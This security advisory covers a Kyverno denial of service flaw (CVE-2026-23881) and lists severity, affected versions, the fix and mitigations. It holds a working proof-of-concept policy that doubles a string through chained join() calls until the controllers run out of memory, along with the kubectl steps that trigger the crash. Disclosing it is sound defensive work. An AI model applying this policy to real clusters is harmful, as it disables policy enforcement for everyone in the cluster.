Skip to content

GHSA-r2rj-wwm5-x6mq BIT-kyverno-2026-23881 CVE-2026-23881 GO-2026-4382

Kyverno Denial of Service via Context Variable Amplification in Policy Engine

Medium Go
Severity
7.7 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.62%
Chance of exploitation in the next 30 days. Higher than 49.63% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
1.15.3
Upgrade github.com/kyverno/kyverno to this version or later

Description

Summary

Unbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.

Details

For example, the random() JMESPath function in pkg/engine/jmespath/functions.go generates random strings. Combined with the join() function, an attacker can create exponential string amplification through context variable chaining:

The PoC attack uses exponential doubling:

  • l0 = random('[a-zA-Z0-9]{1000}') → 1KB
  • l1 = join('', [l0, l0]) → 2KB
  • l2 = join('', [l1, l1]) → 4KB
  • ... continues to l18 → 256MB

The context evaluation has no cumulative size limit, allowing unbounded memory allocation.

PoC

Tested on Kyverno v1.16.1 on k8s v1.34.0 (kind).

  1. Create namespace:
kubectl create namespace poc-test
  1. Observe pod statuses from kyverno namespace on another terminal:
kubectl get pods -n kyverno -w
  1. Apply malicious policy:
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: memory-exhaustion-poc
  namespace: poc-test
spec:
  validationFailureAction: Enforce
  rules:
    - name: exhaust-memory
      match:
        any:
          - resources:
              kinds:
                - ConfigMap
      context:
        - name: l0
          variable:
            jmesPath: random('[a-zA-Z0-9]{1000}')
        - name: l1
          variable:
            jmesPath: join('', [l0, l0])
        - name: l2
          variable:
            jmesPath: join('', [l1, l1])
        - name: l3
          variable:
            jmesPath: join('', [l2, l2])
        - name: l4
          variable:
            jmesPath: join('', [l3, l3])
        - name: l5
          variable:
            jmesPath: join('', [l4, l4])
        - name: l6
          variable:
            jmesPath: join('', [l5, l5])
        - name: l7
          variable:
            jmesPath: join('', [l6, l6])
        - name: l8
          variable:
            jmesPath: join('', [l7, l7])
        - name: l9
          variable:
            jmesPath: join('', [l8, l8])
        - name: l10
          variable:
            jmesPath: join('', [l9, l9])
        - name: l11
          variable:
            jmesPath: join('', [l10, l10])
        - name: l12
          variable:
            jmesPath: join('', [l11, l11])
        - name: l13
          variable:
            jmesPath: join('', [l12, l12])
        - name: l14
          variable:
            jmesPath: join('', [l13, l13])
        - name: l15
          variable:
            jmesPath: join('', [l14, l14])
        - name: l16
          variable:
            jmesPath: join('', [l15, l15])
        - name: l17
          variable:
            jmesPath: join('', [l16, l16])
        - name: l18
          variable:
            jmesPath: join('', [l17, l17])
      validate:
        message: "Memory exhaustion PoC"
        deny:
          conditions:
            any:
              - key: "{{ l18 }}"
                operator: Equals
                value: "impossible-match"

As soon as you apply this, you'll see the reports controller gets OOM killed and the container enters a crash loop.

  1. Trigger policy evaluation on the admission controller:
kubectl create configmap trigger -n poc-test --from-literal=key=value

Response:

error: failed to create configmap: Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF

The Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes.

  1. Check pod status from the kyverno namespace:
kubectl get pods -n kyverno

Outputs:

kyverno              kyverno-admission-controller-58cb4b76c9-wd45p    0/1     OOMKilled          1 (20s ago)   178m
kyverno              kyverno-reports-controller-576566fb98-pfb2f      0/1     OOMKilled          1 (1s ago)   178m

While the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same kubectl create configmap command from above and reproduce the crash.

Impact

Denial of Service with cluster-wide security impact. Users with Policy or ClusterPolicy creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing:

  • Pod OOMKill and service disruption
  • No logs on why the crash occurred (admission controller, reports controller)
  • Cluster-wide policy enforcement disabled and security policies stop being evaluated
  • If failurePolicy: Ignore is configured, workloads bypass all validation during outage
  • Applications depending on Kyverno mutations may deploy with incorrect configurations

Any Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected.

Mitigation

Add a context size limit to prevent unbounded memory allocation during policy evaluation.

Affected versions

Go

PackageVulnerableFixed in
github.com/kyverno/kyverno
< 1.15.3
1.15.3
github.com/kyverno/kyverno
>= 1.16.0-rc.1, < 1.16.3
1.16.3
github.com/kyverno/kyverno
< 1.15.3
>= 1.16.0-rc.1, < 1.16.3
1.15.3
1.16.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/kyverno/kyverno Go → 1.15.3

go
go get github.com/kyverno/kyverno@v1.15.3 && go mod tidy

Severity breakdown

CVSS 3.1 7.7

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-79gf-7frw-68m9
Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system
Critical Also affects github.com/kyverno/kyverno
GHSA-fpjq-c37h-cqcv
Kyverno Controller Denial of Service via forEach Mutation Panic
High Also affects github.com/kyverno/kyverno
GHSA-8wfp-579w-6r25
Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
High Also affects github.com/kyverno/kyverno
GHSA-f9g8-6ppc-pqq4
Kyverno: ServiceAccount token leaked to external servers via apiCall service URL
Critical Also affects github.com/kyverno/kyverno
GHSA-cvq5-hhx3-f99p
Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)
High Also affects github.com/kyverno/kyverno
GHSA-q93q-v844-jrqp
kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token
High Also affects github.com/kyverno/kyverno
GHSA-fmqp-4wfc-w3v7
Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach
Medium Also affects github.com/kyverno/kyverno
GHSA-qr4g-8hrp-c4rw
Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF
High Also affects github.com/kyverno/kyverno
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor